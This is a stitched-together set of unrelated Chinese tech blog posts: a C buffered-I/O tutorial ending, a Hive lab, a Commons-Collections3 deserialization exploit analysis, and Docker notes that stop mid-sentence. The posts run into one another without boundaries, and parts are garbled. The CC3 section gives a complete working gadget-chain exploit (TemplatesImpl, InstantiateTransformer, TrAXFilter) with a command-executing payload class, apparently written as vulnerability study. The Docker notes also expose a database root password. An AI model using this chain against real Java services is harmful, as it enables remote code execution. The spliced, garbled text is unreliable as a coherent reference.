#include <assert.h>
#include <unistd.h>
int main()
{
//打开文件,写入一段话
FILE* fp = fopen("log.txt", "w+");
assert(fp);
char inPutBuff[512] = "2110年1月1日,距离地球能源完全枯竭还有3650天。为了解决地球能源危机,\n人类制造了赛尔机器人和宇宙能源探索飞船赛尔号,去寻找神秘精灵看守的无尽能源。";
int n = fwrite(inPutBuff, 1, strlen(inPutBuff), fp);
printf("本次成功写入 %d 字节的数据", n);
fclose(fp);
printf("\n==============================\n");
//重新打开文件
fp = fopen("log.txt", "r");
assert(fp);
char outPutBuff[512] = {
'\0' };
n = fread(outPutBuff, 1, sizeof(outPutBuff), fp);
printf("本次成功读取 %d 字节的数据,具体内容为: \n%s\n", n, outPutBuff);
fclose(fp);
fp = NULL;
return 0;
}
结果:
下面是库函数的结果:
可以看出结果是一样的
9、小结
用户在进行文件流操作时,实际要进行至少三次的拷贝:用户->用户级缓冲区->内核级缓冲区->文件,C语言 中众多文件流操作都是在完成 用户->用户级缓冲区 的这一次拷贝动作,其他语言也是如此,最终都是通过系统调用将数据冲刷到磁盘(文件)中
此时上一篇文章中的最后一个例子为什么会打印两次 hello fprintf 就很好理解了:因为没有触发刷新条件(文件一般为全缓冲),所以数据滞留在用户层缓冲区中,fork 创建子进程后,子进程结束,刷新用户层缓冲区[子进程],此时会触发写时拷贝机制,父子进程的用户层缓冲区不再是同一个;父进程结束后,刷新用户层缓冲区[父进程],因此会看见打印两次的奇怪现象
最后再简单提一下 printf 和 scanf 的工作原理
无论是什么类型,最终都要转为字符型进行存储,程序中的各种类型只是为了更好的解决问题printf
根据格式读取数据,如整型、浮点型,并将其转为字符串
定义缓冲区,然后将字符串写入缓冲区(stdout)
最后结合一定的刷新策略,将数据进行冲刷
scanf
读取数据至缓冲区(stdin)
根据格式将字符串扫描分割,存入字符指针数组
最后将字符串转为对应的类型,赋值给相应的变量
这也就解释了为什么要确保 输出/输入 格式与数据匹配,如果不匹配的话,会导致 读取/赋值 错误
10、打包为动态库
引入【动静态库】相关知识,将自己写的 myStdio 打包为动态库使用
将 myStdio.h 和 myStdio.c 放入 myinclude 文件夹中,并打包为相应的动态库(详见 Makefile 文件内容)
Makefile (位于 myinclude 文件夹中)
getBinFile:myStdio.c
gcc -c myStdio.c -fPIC
getSo:*.o
gcc -o libmystdio.so myStdio.o -shared
.PHONY:clean
clean:
rm -r *.o *.so
将目标程序进行编译(需要带上头文件、库文件、库名等信息,详见 Makefile 文件)
Makefile (位于当前程序所在文件夹中)
Stream:test.c
gcc -o {
mathJaxContainer[0]}^ -I./myinclude -L./mylib -lmystdio -std=c99
.PHONY:clean
clean:
rm -r Stream
将程序编译,成功;运行程序,失败,因为此时动态库还没有链接
这里使用方法一:配置环境变量 LD_LIBRARY_PATH 解决链接问题
export LD_LIBRARY_PATH=%LD_LIBRARY_PATH=所需动态库路径
关于动态库链接失败的三种解决方法可以参考此文 《Linux基础IO【软硬链接与动静态库】》
当然也可以将 myStdio 打包为静态库使用,比较简单,这里不再演示
11、源码
关于 myStdio 的源码可以点击下方链接进行获取
模拟实现C语言文件流
总结
以上就是本次关于 Linux【模拟实现C语言文件流】的全部内容了,通过 系统调用+缓冲区,我们模拟实现了一个简单版的 myStdio 库,在模拟实现过程中势必会遇到很多问题,而这些问题都能帮助你更好的理解缓冲区的本质:提高 IO 效率
相关文章推荐
Linux基础IO【重定向及缓冲区理解】
Linux基础IO【文件理解与操作】
===============
Linux【模拟实现简易版bash】
Linux进程控制【进程程序替换】
Linux进程控制【创建、终止、等待】
Hive 函数的使用
一、 任务描述本实验任务主要完成基于Hive环境的除了一些常用的Hive SQL语句操作外,通过完成本实验任务,还要求学生熟练掌握Hive中一些自带的函数的使用,学会使用Hive中的函数会很好的帮助学生更快的处理数据,也为进一步学习自定义函数做基础。二、 任务目标掌握Hive的数据类型掌握hive的数据类型的使用掌握hive的DDL语句的操作三、 任务环境本次环境是:Ubuntu16.04+hadoop-2.7.3.+apache-hive-1.2.2-bin四、 任务分析Hive支持多种不同长度的整型和浮点型数据类型,支持布尔类型,也支持无长度限制的字符串类型。Hive中的列支持使用struct,map和array集合数据类型。♥ 知识链接hive建表语法中的分隔符设定nameValueROW FORMAT DELIMITED分隔符设置开始语句FIELDS TERMINATED BY:设置字段与字段之间的分隔符COLLECTION ITEMS TERMINATED BY:设置一个复杂类型(array,struct)字段的各个item之间的分隔符MAP KEYS TERMINATED BY:设置一个复杂类型(Map)字段的key value之间的分隔符LINES TERMINATED BY:设置行与行之间的分隔符ROW FORMAT DELIMITED必须在其它分隔设置之前,也就是分隔符设置语句的最前LINES TERMINATED BY必须在其它分隔设置之后,也就是分隔符设置语句的最后,否则会报错实验所需数据和格式如下:employees.txt内容John Doe,100000.0,Mary Smith|Todd Jones,Federal Taxes:.2|State Taxes:.05|Insurance:.1,1 Michigan Ave.|Chicago|IL|60600
Mary Smith,100000.0,Mary Smith|Todd Jones,Federal Taxes:.2|State Taxes:.05|Insurance:.1,1MichiganAve.|Chicago|IL|60601
Todd Jones,800000.0,Mary Smith|Todd Jones,Federal Taxes:.2|State Taxes:.05|Insurance:.1,1MichiganAve.|Chicago|IL|60603
Bill King,800000.0,Mary Smith|Todd Jones,Federal Taxes:.2|State Taxes:.05|Insurance:.1,1 Michigan Ave.|Chicago|IL|60605
Boss Man,100000.0,Mary Smith|Todd Jones,Federal Taxes:.2|State Taxes:.05|Insurance:.1,1 Michigan Ave.|Chicago|IL|60604
Fred Finance,800000.0,Mary Smith|Todd Jones,Federal Taxes:.2|State Taxes:.05|Insurance:.1,1 Michigan Ave.|Chicago|IL|60400
Stacy Accountant,800000.0,Mary Smith|Todd Jones,Federal Taxes:.2|State Taxes:.05|Insurance:.1,1 Michigan Ave.|Chicago|IL|60300
五、 任务实施步骤1、新建hql文件在命令终端,新建hql文件,分别执行命令:cd /simple和touch create.hql,如图1所示。图1 创建文件 向其中写入hql语句,在命令终端中,在/simple目录下执行命令:vim create.hql1. 向其中添加以下语句
2.
3. create table employee(
4.
5. name string,
6.
7. salary float,
8.
9. subordinate array<string>,
10.
11. deduction map<string,float>,
12.
13. address struct<street:string,city:string,state:string,zip:int>
14.
15. )
16.
17. row format delimited fields terminated by ","
18.
19. collection items terminated by "|"
20.
21. map keys terminated by ":";
最终创建如图2所示。图2 代码显示步骤2、hive中执行此文件在命令终端中,执行命令:start-all.sh启动hadoop服务,如图3所示。图3 启动hadoop服务 执行命令:service mysql start启动mysql服务,然后执行命令:cd /simple/hive/bin进入hive的安装目录bin目录下,执行命令:./hive ,并在hive命令行中执行以下语句:source /simple/create.hql;如果想在执行hive的命令时,不打印日志信息在shell界面,可以执行命令:./hive -S即可,如图4所示。图4 进入hive shell界面 可以看出创建成功。 hive命令行中输入:describe employee;如图5所示。图5 显示表结构步骤3、向表中插入数据通过load命令把本地数据加载到表中,如图6所示。图6 向表中加载数据步骤4、Select语句查询详解使用索引查询集合数据类型中的元素。数组索引是基于0的,这和java中是一样的,下面是选择subordinate数组中的第一个元素的查询,如图7所示。图7 查询数组数据 引用map类型中的一个元素。用户可以使用ARRAY[…]语法,但是使用的是键值而不是整数索引,如图8所示。图8 查询map数据 引用struct中的一个元素,用户可以使用“.“符号,如图9所示。图9 查询struct数据步骤5、使用列值进行计算 查询所有用户的年薪(税前),假设一年工资为15个月,如图10所示。图10 所有用户的年薪(税前) 查询用户扣除联邦税后实际到手的年薪,如图11所示。图11 用户扣除联邦税后实际到手的年薪 执行语句“select count(*) from employee;“查询一共有多少员工,如图12所示。图12 员工总数 可以看出底层的查询是通过map-reduce来完成的。 执行语句”select avg(salary) from employee;”查询员工的平均工资,如图13所示。图13 员工平均工资 可以看出底层的查询是通过map-reduce来完成的。 执行语句”select sum(salary) from employee;”查询出公司发放的薪水总额,如图14所示。图14 公司发放的薪水总额
Commons-collections3 利用链分析笔记
类加载把.java文件编译为.class文件,把字节码中的二进制数据读入到内存中,将其放在运行时数据区的方法区内,然后在堆区创建一个java.lang.Class对象,用来封装类在方法区内的数据结构。类的加载的最终产品是位于堆区中的Class对象,Class对象封装了类在方法区内的数据结构,并且向Java程序员提供了访问方法区内的数据结构的接口。加载class的方式1.从本地系统中直接加载2.通过网络下载.class文件3.从zip,jar等归档文件中加载.class文件4.从专有数据库中提取.class文件5.将Java源文件动态编译为.class文件(动态代理生成的及jsp转换为servlet)类加载过程类的加载的方式由关键字new创建一个类的实例通过Class.forName()方法动态加载通过ClassLoader.loadClass()方法动态加载CC3 是通过动态类加载的方式执行代码,执行的过程,初始化代码。寻找入口点在ClassLoader().loadClass();loadClass 会调defineClass类加载的过程即是ClassLoader() loadClass() defineClass() 执行代码,需要寻找一个初始化的点,这里从defineClass寻找 public的可重写的方法TemplatesImpl类这个类 在上篇Fastjson不出网利用总结有提到,本篇会大致分析下在cc中的利用方法在TemplatesImpl发现了这个defineClass类,没有修饰符,默认在本包中调用,接着寻找在getTransletInstance发现了defineTransletClasses,并进行了初始化 newInstance()这里的还是使用private进行修饰,接着找public最终在这里找到公有方法,这条链的流程大致如下newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass() -> newInstance()攻击调用TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();首先利用这个类,需要一些参数,点击newTransformer,486行有三个参数,参数默认为null,不写也可以执行接着跟进getTransletInstance方法,判断name参数,为null就返回,这个参数需要写进去,判断class参数为null,则调用defineTransletClasses函数,上面分析了流程,所以这里的class参数不写,就可以进行调用defineTransletClasses在接着跟进defineTransletClassesbytecodes需要赋值,否则爆出异常401行的方法里_tfactory需要调用一个get方法,查看变量,在readObject是一个new函数。在414行 会调用defineClass,方法中有个_bytecodes,查看变量是一个二维数组,前面的class是一个一维数组,在最早的defineClass方法中需要传递一个字节数组,在目前的流程就分析完成,接下来写代码进行测试编写pocTemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
// name参数
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
// bytecodes参数
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// 两个数组 从文件读字节码
byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// _tfactory
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
shell.javaimport java.io.IOException;
public class shell {
static {
try {
Runtime.getRuntime().exec("open -a calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
}运行报错,打断点调试找到问题点了,当前位置已经加载shell类,然后判断这个shell类的父类要等于这个常量,跟进常量,是一个抽象类修改shell类,继承AbstractTranslet,并重写两个方法再次执行使用cc1的前半部分利用链TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
// name参数
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
// bytecodes参数
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// 两个数组 从文件读字节码
byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// _tfactory
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(1);
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
// name参数
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
// bytecodes参数
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// 两个数组 从文件读字节码
byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// _tfactory
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
// chainedTransformer.transform(1);
//遍历map
HashMap<Object,Object> hashedMap = new HashMap();
hashedMap.put("value","aaa");
Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);
// 反射引用AnnotationInvocationHandler
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, map);
//序列化
//serializable(o);
unserializable("ser.bin");InstantiateTransformer类ysoserial中使用了InstantiateTransformer进行调用,跟进这个构造方法,需要传递两个参数,数组和对象再跟进newTransformer发现TrAXFilter构造方法直接传递templates,并直接调用newTransformerTrAXFilter没有继承反序列化接口,XMLFilterImpl也没有,但是获取class可以进行反序列化那么最终的利用链如下前半部分和cc1的一样,只不过是把InvokerTransformer替换为InstantiateTransformerInstantiateTransformer() -> TrAXFilter() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass() -> newInstance()最终exp
package com.test.cc;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
// name参数
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
// bytecodes参数
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
// 两个数组 从文件读字节码
byte[] code = Files.readAllBytes(Paths.get("target/classes/com/test/cc/shell.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
// 创建instantiateTransformer
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// 调用TrAXFilter.class
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),instantiateTransformer
};
// 动态代理
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
//遍历map
HashMap<Object,Object> hashedMap = new HashMap();
hashedMap.put("value","aaa");
Map<Object,Object> map = TransformedMap.decorate(hashedMap, null, chainedTransformer);
// 反射引用AnnotationInvocationHandler
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, map);
//序列化
// serializable(o);
unserializable("ser.bin");
}
public static void serializable(Object o) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static Object unserializable(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object o = ois.readObject();
return o;
}
}
Docker 学习笔记
Docker 学习笔记 在微服务的环境下,项目模块部署和服务化成为问题。传统开发是直接将项目部署到服务器上,可能出现项目需要的版本和环境不一致和多个服务下环境版本冲突问题,这就给项目发布和运维造成很大麻烦,往往出现开发的环境能跑,而运维的环境不能跑。Docker采用容器技术,将==项目、需要的环境==打成一个镜像,将镜像放在容器中运行,每个容器之间相互不影响,也可以实现跨平台部署每个Docker去加载同一个镜像文件加载的内容都是一样的。1、容器虚拟机:一种带环境安装的解决方案,在Windows下安装Linux系统就是通过将Linux的镜像文件通过虚拟机可以与Windows物理系统下进行交互,在Windows下就是一个应用程序。但是虚拟机有占用资源多,步骤复杂及启动慢等缺点。==(在硬件上实现虚拟化)==虚拟化容器技术:Linux容器不是模拟整个操作系统而是对进程进行隔离,==将软件运行需要的资源打包成一个镜像,==在容器中运行镜像文件。这样需要的资源少,而且部署到任何环境中软件都能运行。==(在操作系统上实现虚拟化)==Docker:一种虚拟化容器技术,基于软件镜像可以秒启动各种软件。每一个容器都是一个完整的运行环境,容器之间相互隔离。每个容器都是一个简易版的Linux系统。 Docker是一个C/S架构,C端通过Docker daemon守护进程连接到Docker主机,发送一些列操作指令。然后在Docker引擎上,查看是否有镜像,如果有镜像就形成一个个容器实例,如果没有镜像就去仓库拉下来一个镜像进行操作。Docker工作流程:Docker客户端与守护进程建立通信,并发送指令请求并提供Docker Server功能使其可以接受客户端的请求。Docker引擎执行Docker执行内部的一些列工作,每个工作已Job的形式存在,每个容器就是一个Job。当需要Docker网络管理时,通过网络管理驱动Network driver创建并配置Docker容器网络环境。2、Docker 安装docker官网:https://docs.docker.com/docker hub镜像仓库地址:https://hub.docker.com/Docker 并不是一个通用的工具,必须运行在Linux内核下。可以在Windows下安装一个虚拟机来跑Docker。Docker最基本的是三要素:==镜像、容器、仓库。容器就是一个 最小Linux环境+运行在其中的镜像应用程序==。卸载之前的docker: yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-engine安装gcc和gcc- c++ yum -y install gcc yum -y install gcc- c++配置安装: yum install -y yum-utils # 下载依赖的包 yum-config-manager \ --add-repo \ http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo # 配置安装地址,使用阿里云的镜像仓库 yum makecache fast # 更新yum包 yum install docker-ce docker-ce-cli containerd.io docker-compose-plugin # 安装启动docker: systemctl start docker # 启动 docker version # 检查docker版本 docker images # 查看docker安装的镜像 systemctl enable docker # 开机自动启动配置阿里云镜像加速: mkdir -p /etc/docker sudo tee /etc/docker/daemon.json <<-'EOF' { "registry-mirrors": ["xxxxxxxx"] } EOF sudo systemctl daemon-reload sudo systemctl restart docker卸载Docker: # 停止docker systemctl stop docker # 移除docker yum remove docker-ce docker-ce-cli containerd.io docker-compose-plugin # 删除配置文件 rm -rf /var/lib/docker rm -rf /var/lib/containerd3、Docker 常用命令Docker启动命令: # 启动、重启、停止 systemctl start/restart/stop docker # 查看docker状态 systemctl status docker # 开启自启 systemctl enable docker # 概要信息 docker info # 帮助文档 docker --help # 具体命令文档 docker 命令 --help镜像命令: # 查看docker中的镜像 docker images # REPOSITORY: 仓库名,TAG:版本,IMAGE ID: 镜像id不重复,CREATED:创建时间,SIZE:大小 # 列出本地所有镜像(包含历史印象层) docker images -a # 只显示id docker images -q # 从远程仓库查询镜像 docker search xxxx(镜像名称) [--limit n] # 下载,获取指定版本号,不写tag就是默认最新版本,或者:last也是最新版本 docker pull 镜像名称[:tag] # 查看docker中的镜像数、容器、数据卷、缓存等使用信息 docker system df # 删除镜像,根据名称或者id删除 docker rmi 镜像名称、id # 删除多个 docker rmi 名称1:tag 名称2::tag # 删除全部镜像 docker rmi $(docker images -qa) # 如果镜像在使用中,需要强制删除,可以使用-f docker rmi -f 镜像名称虚悬镜像:仓库名和tag都是<none>的镜像,但是也有大小,一般没有什么用建议删除。容器命令: # 创建并启动一个容器 docker run 镜像名称或id # 参数 # --name="容器新名称" # -d 后台运行容器并返回容器的id # -i 以交互式运行容器,通常与-t同时使用 # -t 重新分配终端进行操作,通常与-i同时使用 # -p 指定端口映射,-p hostPort:containerPort, # 启动一个ubuntu的容器,并打开一个Ubuntu的终端 docker run --name="u1" ubuntu /bin/bash # 查看docker中运行的容器 docker ps [-a 所有在运行及运行过的容器][-l 显示最近创建容器][-q 只显示容器编号][-n x显示最近创建的x个容器] # 退出容器,直接退出,容器停止 exit # 退出容器,退出容器终端,但是容器依然运行 ctrl+p+q # 启动已停止的容器 docker start 容器名称或id # 重启容器 docker restart 容器名或id # 停止容器 docker stop 容器名或id # 强制停止容器 docker kill 容器名或id # 删除已停止的容器 docker rm [-f 强制删除在运行的容器] 容器名或id # 一次删除多个容器,删除所有容器 docker rm -f $(docker ps -a -q) # 参数删除,先进行查询,然后将查询的结果通过管道符传入 docker ps -a -q | xargs docker rm -f# 后台运行容器(守护式容器:容器在后台默默运行)docker run -d 镜像名# Docker后台运行程序必须要有一个前台进程,如果容器运行命令不是一直挂起的命令,启动后就会自动退出docker run -d ubuntu /bin/bash # 没有前台程序并且不是一直挂起命令启动后就会自动退出(Docker机制问题)# 解决方案:将程序以前台命令运行或者使用一些挂起命令# 以redis为例:docker run -it redis # 以前台模式启动容器,退出容器,容器自动停止docker run -d redis # 以后台模式启动容器,由于redis有前台进程,容器就会自动在后天运行不会停止# 查看容器日志docker logs 容器名或id # 查看容器进程,类似Linux中的top命令 docker top 容器名或id # 查看容器内部的细节,返回的是json串,包含了容器的所有细节 docker inspect 容器名或id # 进入正在运行的容器中并执行命令 docker exec -it 容器名或id 运行命令 docker attach 容器名或id # exec:在容器中打开新的终端,并可以启动新的进程,exit退出容器不会停止 # attach:直接进入容器的启动命令终端,不会启动新的进程,exit退出容器容器会停止 # 例如进入redis容器 docker exec -it redis /bin/bash # 从容器拷贝文件到主机 docker cp 容器名称或id:容器内路径 目的主机路径 # 导出容器,它导出的是一个tar文件 docker export 容器名或id > 主机上存放路径 # 导入导出的镜像 cat xx.tar | docker import - 镜像用户/镜像名称:tag4、Docker 镜像镜像:一种轻量级的、可执行的独立软件包,把应用程序和配置依赖打成一个可交付的运行环境。Docker只有通过镜像才能生成一个实例容器。UnionFS联合文件系统:一种分层、轻量并且高性能的文件系统,==支持对文件修改来作为一次次提交来一层层叠加==,同时可以将不同目录挂载到同一个虚拟文件系统下。特点:==一次可以加载多个文件系统,但是只能看到一个文件系统,联合加载会把各个文件系统叠加起来,这样最后的文件系统会包含所有的底层文件和目录==。Docker的镜像实际是一层一层的文件系统,就是联合文件系统。Docker镜像加载原理:Docker最底层是引导文件系统bootfs,这一层和Linux系统一样,包含了boot加载器和内核(bootfs:包含bootloader:boot加载器和kernel:Linux内核)。boot加载器加载完后,整个内核就在内存中此时内存的使用权由boot加载器转交给内核并卸载掉boot加载器。rootfs层:在bootfs之上,包含的是Linux系统中标准的文件,它是各个不同操作系统的发行版。不同的Linux发行版会公用bootfs,只有rootfs不同。 Docker采用镜像分成最大的好处就是共享资源,方便复制迁移。例如多个镜像可以从同一个Base镜像构建而来,Docker主机上就只保留一份基础镜像,在内存中也只需加载Base镜像,这样就可以通过在Base镜像启动多个容器。Docker镜像的每一层都是可以被共享的。==Docker的镜像层都是只读的,只有容器层可以写。当容器启动,一个新的可写层加载到镜像层的上面,称为容器层。==5、自定义镜像commit命令:提交一个容器副本,使之成为一个新的镜像。 # 由容器获取一个新的镜像 docker commit -m="提交信息" -a="作者" 容器名或容器id 新镜像名:tag # 这就可以通过扩展当前的镜像,创建新的镜像,类似Java中的继承,这也是为什么Docker中为什么要分层。5.1、镜像推送到阿里云 在阿里云官网找到镜像服务并开启个人版的镜像服务,然后创建一个命名空间。创建一个阿里云镜像仓库,在管理页面获取镜像操作的脚本命令。 # 推送镜像命令: docker login --username=xxx(个人阿里云账号) registry.cn-hangzhou.aliyuncs.com docker tag [推送镜像id] registry.cn-hangzhou.aliyuncs.com/liujixing/db_1:[镜像版本号] docker push registry.cn-hangzhou.aliyuncs.com/liujixing/db_1:[镜像版本号] # 拉取阿里云上的镜像 docker pull registry.cn-hangzhou.aliyuncs.com/liujixing/db_1:[镜像版本号]5.2、镜像私有库私有库:在本地搭建一个私有库,不会将镜像放在公网上。下载Docker私有仓库镜像docker pull registry修改配置文件并重启dockervim /etc/docker/daemon.json{ # 设置私库的地址和端口号 "insecure-registries": ["192.168.59.111:5000"], #添加此段,“,”不可少,ip是本机IP地址 "registry-mirrors": ["xxx"] # 阿里云加速}systemctl restart docker运行私有库镜像 # 前者是主机,后者是容器 docker run -d -p 5000:5000 -v /liujixing/docker_registry:/tmp/registry --privileged=true registry按格式打包镜像并上传到私库 docker tag 镜像名称:1.3 私服端口:5000/私服镜像名称:1.3 docker push 打包好的镜像 # 查看是否上传成功 curl -XGET http://xxxx:5000/v2/_catalog测试下载私服上的镜像 docker pull ip:端口/镜像名称:tag注意避坑:在云服务器上一定打开对应对口的防火墙。修改docker的daemon.json文件一定要重启(配置私服主机时)。启动好私服镜像一定要检查端口是否映射正确。6、数据卷Docker数据卷:将容器的数据文件保存到主机当中,以至于当容器停止后容器中的数据全部都消失,类似于redis中的rdb和aof。使用数据卷来达到容器重要数据的备份。 # --privileged=true 打开docker到主机目录映射的权限 # -v 主机绝对路径:容器绝对路径,设置数据卷,如果不设置默认是容器中的/usr/lib/registry docker run --privileged=true -v 主机绝对路径:容器绝对路径 镜像名特点:数据卷可以在容器间相互共享。数据卷中的数据时实时更新的。数据卷的更改不会包含在镜像的更新中。数据卷的生命周期一直持续到没有容器使用。挂载数据卷: # 挂载了数据卷,可以挂载多个,一个 -v 对应一个挂载 docker run -d -it --name="redis_new" --privileged=true -v /tmp/docker_data/redis_new:/tmp/docker_data redis /bin/bash # 在容器的映射目录下创建一个文件dockerin.txt,并在主机上的映射文件上查看发现主机上也实时更新了 # 在主机上创建一个dockerout.txt,然后进入容器中也会发现有这么一个文件 # 映射路径下,主机和容器之间的数据相互共享 # 查看容器上的数据卷挂载,返回json字符串 docker inspect 容器名或id # 查看数据卷 docker volume ls # 删除一个容器连同数据卷也删除 docker rm -v containerId|containerName # 删除数据卷 docker volume rm 数据卷名称 # 删除所有数据卷 docker volume rm $(docker volume ls) # 删除没有用的数据卷 docker volume prune==当容器停止后重启时,会同步挂载到主机上的目录,容器上的映射文件会实时与主机上映射文件保持一致。==数据卷读写(rw)和只读权限(ro): 数据卷映射时,==默认是容器内是可读和可写==,也可以指定容器内的读写权限,这就限制了容器内部数据同步到主机。# 在容器映射后面添加:rodocker run -d -it --name="redis_new" --privileged=true -v /tmp/docker_data/redis_new:/tmp/docker_data:ro redis /bin/bash数据卷的继承与共享:容器2可以去继承容器1的数据卷的映射规则,相当于容器1和容器2都同时挂载到了主机上的同一个目录。# 启动一个容器,并且容器的数据卷规则继承另一个容器docker run -d -it --privileged=true -volumes-from 父容器名或id 镜像名==子容器继承父容器的数据卷规则,当父容器停止,子容器依然可以同步主机,当父容器重启,父容器也依然可以同步主机的映射数据。==7、Docker 软件安装Tomcat镜像拉取docker pull tomcat# 查看端口占用情况lsof -i 协议:端口号启动tomcatdocker run -d -it --name="tomcat1" --privileged=true -v /usr/server/tomcat/webapps:/usr/local/tomcat/webapps -p 8080:8080 tomcat进入容器,查看tomcat是否启动docker exec -it xx /bin/bashps -ef | grep tomcatMySQL拉取镜像 docker pull mysql启动MySQL docker run -d -it -p 3306:3306 --privileged=true -v /usr/server/mysql/log:/var/log/mysql -v /usr/server/mysql/data:/var/lib/data -v /usr/server/mysql/conf:/etc/mysql/conf.d -e MYSQL_ROOT_PASSWORD=liuhongjun --name mysql8.0.30 mysql:8.0.30解决容器MySQL字符编码问题主机上的映射文件的conf文件下创建my.cnf文件(MySQL8是下面这样,其它版本不知道) vim my.cnf # 输入下面内容 [client] default-character-set=utf8 [mysql] default-character-set=utf8 [mysqld] character-set-client-handshake = FALSE character-set-server = utf8 collation-server = utf8_unicode_ci init_connect='SET NAMES utf8'重启MySQL并进入容器查看字符编码(在MySQL中查看) # 查看编码命令 SHOW VARIABLES LIKE 'character%'redis拉取镜像 docker pull redis:7.0.5启动redis docker run -p 6379:6379 --privileged=true \ --name redis7.0.5_1 \ -v /usr/server/redis/conf/redis.conf:/etc/redis/redis.conf \ -v /usr/server/redis/data:/data \ -d redis:7.0.5 \ redis-server /etc/redis/redis.conf \ --appendonly yes注意避坑:一定要先将配置文件创建到主机得映射路径上,然后在启动容器,不然挂载可能出现问题。不要修改配置文件的daemonize为yes,修改后会启动失败。连接测试Gitea拉取镜像docker pull gitea/gitea启动容器docker run -d --name=gitea_1 --privileged=true --restart=always -p 10022:22 -p 13000:3000-v /usr/server/gitea:/data gitea/gitea8、Docker FileDockerFile: 是用来构建docker镜像的文本文件,是一条条构建镜像的指令和参数构成的脚本。一般使用dockerfile文件打包新镜像,并把镜像运行到容器中,主要分三步:编写文件、build文件、run镜像。每条保留字指令都必须为大写,并且后面必须跟至少一个参数。每条指令按照从上到下执行。#表示注释。每条指令都会创建一个新的镜像层对镜像进行提交。DockerFile执行流程:8.1、常见保留字FROM:一般是第一条命令,指定基础镜像来之哪个镜像。MAINTAINER:指定这个镜像的作者是谁和作者邮箱。RUN:这个命令是在docker build构建时运行的命令,一般有两种格式 shell 和 exec。shell:相当于在终端执行脚本,例如 RUN yum -y install vim。会在构建镜像时会安装 vim。exec:可执行文件,例如 RUN [ "可执行文件", "参数1", "参数2" ]。EXPOSE:当前容器对外暴露出的端口。WORKDIR:指定创建容器后,终端默认登录进来的工作目录。USER:指定镜像以什么用户执行,默认是root。ENV:用来在构建镜像过程中的环境变量,这个环境变量可以在后续的任何 RUN 命令中使用,也可以在其它指令中使用。 # 变量 ENV PATH /usr/local # 使用变量 WORKDIR $PATHVOLUME:容器卷,用于数据保存和持久化工作,ADD:将宿主机上的文件拷贝进镜像,并且自动处理 URL 和解压 tar 压缩包。COPY:将宿主机上的文件拷贝到镜像中,COPY 源文件路径 目标文件路径,目标文件路径不用事先创建好。CMD:指定容器启动后需要干的事情。注意:1、DockerFile中可以有多个CMD命令,但是只有最后一个生效。2、 CMD命令会被 docker run 